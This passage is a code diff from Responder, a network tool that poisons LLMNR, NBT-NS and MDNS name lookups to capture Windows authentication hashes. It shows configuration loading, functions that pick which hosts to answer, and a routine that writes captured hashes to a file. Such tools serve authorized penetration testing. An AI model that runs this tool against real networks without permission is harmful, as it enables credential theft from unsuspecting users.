self.DontRespondToName = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')])
|
||||
|
||||
print self.DontRespondTo
|
||||
|
||||
# CLI options
|
||||
self.Responder_IP = options.Responder_IP
|
||||
self.LM_On_Off = options.LM_On_Off
|
||||
self.WPAD_On_Off = options.WPAD_On_Off
|
||||
self.Wredirect = options.Wredirect
|
||||
self.NBTNSDomain = options.NBTNSDomain
|
||||
self.Basic = options.Basic
|
||||
self.Finger_On_Off = options.Finger
|
||||
self.Interface = options.Interface
|
||||
self.Verbose = options.Verbose
|
||||
self.Force_WPAD_Auth = options.Force_WPAD_Auth
|
||||
self.Upstream_Proxy = options.Upstream_Proxy
|
||||
self.AnalyzeMode = options.Analyze
|
||||
self.CommandLine = str(sys.argv)
|
||||
|
||||
self.IP_aton = socket.inet_aton(self.Responder_IP)
|
||||
self.Os_version = sys.platform
|
||||
|
||||
if self.HTMLToServe == None:
|
||||
self.HTMLToServe = ''
|
||||
|
||||
if self.Interface != "Not set":
|
||||
self.BIND_TO_Interface = self.Interface
|
||||
|
||||
else:
|
||||
self.BIND_TO_Interface = "ALL"
|
||||
|
||||
# Challenge
|
||||
self.NumChal = config.get('Responder Core', 'Challenge')
|
||||
|
||||
if len(self.NumChal) is not 16:
|
||||
print utils.color("The challenge must be exactly 16 chars long.\nExample: -c 1122334455667788", 1, 0)
|
||||
sys.exit(-1)
|
||||
|
||||
self.Challenge = ""
|
||||
for i in range(0, len(self.NumChal),2):
|
||||
self.Challenge += self.NumChal[i:i+2].decode("hex")
|
||||
|
||||
def init():
|
||||
global Config
|
||||
Config = Settings()
|
180
utils.py
Normal file
180
utils.py
Normal file
|
@ -0,0 +1,180 @@
|
|||
#! /usr/bin/env python
|
||||
import os
|
||||
import re
|
||||
import socket
|
||||
import settings
|
||||
|
||||
def color(txt, code = 1, modifier = 0):
|
||||
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
|
||||
|
||||
def text(txt):
|
||||
return re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt)
|
||||
|
||||
def RespondToThisIP(ClientIp):
|
||||
|
||||
if ClientIp.startswith('127.0.0.'):
|
||||
return False
|
||||
|
||||
if len(settings.Config.RespondTo) and ClientIp not in settings.Config.RespondTo:
|
||||
return False
|
||||
|
||||
if ClientIp in settings.Config.RespondTo or settings.Config.RespondTo == []:
|
||||
if ClientIp not in settings.Config.DontRespondTo:
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
def RespondToThisName(Name):
|
||||
|
||||
if len(settings.Config.RespondToName) and Name.upper() not in settings.Config.RespondToName:
|
||||
return False
|
||||
|
||||
if Name.upper() in settings.Config.RespondToName or settings.Config.RespondToName == []:
|
||||
if Name.upper() not in settings.Config.DontRespondToName:
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
def RespondToThisHost(ClientIp, Name):
|
||||
return (RespondToThisIP(ClientIp) and RespondToThisName(Name))
|
||||
|
||||
def IsOsX():
|
||||
return True if settings.Config.Os_version == "darwin" else False
|
||||
|
||||
def OsInterfaceIsSupported():
|
||||
if settings.Config.Interface != "Not set":
|
||||
return False if IsOsX() else True
|
||||
else:
|
||||
return False
|
||||
|
||||
def FindLocalIP(Iface):
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
s.setsockopt(socket.SOL_SOCKET, 25, Iface+'\0')
|
||||
s.connect(("127.0.0.1",9))#RFC 863
|
||||
ret = s.getsockname()[0]
|
||||
s.close()
|
||||
return ret
|
||||
|
||||
# Function used to write captured hashs to a file.
|
||||
def WriteData(outfile,data, user):
|
||||
if os.path.isfile(outfile) == False:
|
||||
with open(outfile,"w") as outf:
|
||||
outf.write(data)
|
||||
outf.write("\n")
|
||||
outf.close()
|
||||
|
||||
if os.path.isfile(outfile) == True:
|
||||
with open(outfile,"r") as filestr:
|
||||
if re.search(user.encode('hex'), filestr.read().encode('hex')):
|
||||
filestr.close()
|
||||
return False
|
||||
if re.search(re.escape("$"), user):
|
||||
filestr.close()
|
||||
return False
|
||||
else:
|
||||
with open(outfile,"a") as outf2:
|
||||
outf2.write(data)
|
||||
outf2.write("\n")
|
||||
outf2.close()
|
||||
|
||||
def PrintData(outfile, user):
|
||||
|
||||
### TEMP
|
||||
return True
|
||||
|
||||
if settings.Config.Verbose == True:
|
||||
return True
|
||||
|
||||
if os.path.isfile(outfile) == True:
|
||||
with open(outfile,"r") as filestr:
|
||||
if re.search(user.encode('hex'), filestr.read().encode('hex')):
|
||||
filestr.close()
|
||||
return False
|
||||
if re.search(re.escape("$"), user):
|
||||
filestr.close()
|
||||
return False
|
||||
else:
|
||||
return True
|
||||
else:
|
||||
return True
|
||||
|
||||
def PrintLLMNRNBTNS(outfile, Message):
|
||||
if settings.Config.Verbose == True:
|
||||
return True
|
||||
|
||||
if os.path.isfile(outfile) == True:
|
||||
with open(outfile,"r") as filestr:
|
||||
if re.search(re.escape(Message), filestr.read()):
|
||||
filestr.close()
|
||||
return False
|
||||
else:
|
||||
return True
|
||||
else:
|
||||
return True
|
||||
|
||||
def Parse_IPV6_Addr(data):
|
||||
|
||||
if data[len(data)-4:len(data)][1] =="\x1c":
|
||||
return False
|
||||
|
||||
elif data[len(data)-4:len(data)] == "\x00\x01\x00\x01":
|
||||
return True
|
||||
|
||||
elif data[len(data)-4:len(data)] == "\x00\xff\x00\x01":
|
||||
return True
|
||||
|
||||
else:
|
||||
return False
|
||||
|
||||
def banner():
|
||||
|
||||
banner = "\n".join([
|
||||
' __',
|
||||
' .----.-----.-----.-----.-----.-----.--| |.-----.----.',
|
||||
' | _| -__|__ --| _ | _ | | _ || -__| _|',
|
||||
' |__| |_____|_____| __|_____|__|__|_____||_____|__|',
|
||||
' |__|'
|
||||
])
|
||||
|
||||
print banner
|
||||
print "\n "+color("NBT-NS, LLMNR & MDNS %s" % settings.__version__, 3, 1)
|
||||
print ""
|
||||
print color('[*]', 2, 1) +" Original work by Laurent Gaffie (lgaffie@trustwave.com)"
|
||||
print color('[*]', 2, 1) +" To kill this script hit CRTL-C"
|
||||
print ""
|
||||
|
||||
def hexdump(src, l=0x16):
|
||||
res = []
|
||||
sep = '.'
|
||||
src = str(src)
|
||||
|
||||
for i in range(0, len(src), l):
|
||||
s = src[i:i+l]
|
||||
hexa = ''
|
||||
|
||||
for h in range(0,len(s)):
|
||||
if h == l/2:
|
||||
hexa += ' '
|
||||
h = s[h]
|
||||
if not isinstance(h, int):
|
||||
h = ord(h)
|
||||
h = hex(h).replace('0x','')
|
||||
if len(h) == 1:
|
||||
h = '0'+h
|
||||
hexa += h + ' '
|
||||
|
||||
hexa = hexa.strip(' ')
|
||||
text = ''
|
||||
|
||||
for c in s:
|
||||
if not isinstance(c, int):
|
||||
c = ord(c)
|
||||
|
||||
if 0x20 <= c < 0x7F:
|
||||
text += chr(c)
|
||||
else:
|
||||
text += sep
|
||||
|
||||
res.append(('%08X: %-'+str(l*(2+1)+1)+'s |%s|') % (i, hexa, text))
|
||||
|
||||
return '\n'.join(res)
|
Loading…
Add table
Add a link
Reference in a new issue